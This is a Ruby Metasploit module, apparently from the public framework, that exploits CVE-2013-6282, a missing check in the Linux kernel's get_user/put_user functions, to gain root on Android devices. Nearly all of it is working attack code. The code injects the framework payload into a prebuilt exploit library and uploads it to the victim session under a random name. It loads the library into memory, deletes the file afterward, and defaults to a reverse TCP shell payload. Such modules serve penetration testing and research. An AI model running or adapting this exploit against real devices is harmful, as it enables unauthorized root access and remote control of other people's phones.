83 lines
2.9 KiB
Ruby
83 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'rex'
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Post::Common
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def initialize(info={})
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super( update_info( info, {
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'Name' => "Android get_user/put_user Exploit",
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'Description' => %q{
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This module exploits a missing check in the get_user and put_user API functions
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in the linux kernel before 3.5.5. The missing checks on these functions
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allow an unprivileged user to read and write kernel memory.
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This exploit first reads the kernel memory to identify the commit_creds and
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ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.
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The exploit was first discovered in the wild in the vroot rooting application.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'fi01', # libget_user_exploit / libput_user_exploit
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'cubeundcube', # kallsyms_in_memory
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'timwr', # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2013-6282' ],
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[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2434453' ],
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[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],
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[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2565758' ],
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],
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'DisclosureDate' => "Sep 06 2013",
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'SessionTypes' => [ 'meterpreter' ],
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"Platform" => [ "android", "linux" ],
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'Targets' => [[ 'Automatic', { }]],
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'Payload' => { 'Space' => 2048, },
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'DefaultOptions' =>
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{
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'WfsDelay' => 120,
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'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
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},
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'DefaultTarget' => 0,
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}
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))
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end
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def exploit
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local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2013-6282.so" )
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exploit_data = File.read(local_file, {:mode => 'rb'})
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space = payload_space
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payload_encoded = payload.encoded
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# Substitute the exploit shellcode with our own
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exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
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workingdir = session.fs.dir.getwd
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remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
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write_file(remote_file, exploit_data)
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print_status("Loading exploit library #{remote_file}")
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session.core.load_library(
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'LibraryFilePath' => local_file,
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'TargetFilePath' => remote_file,
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'UploadLibrary' => false,
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'Extension' => false,
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'SaveToDisk' => false
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)
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print_status("Loaded library #{remote_file}, deleting")
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session.fs.file.rm(remote_file)
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print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
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end
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end
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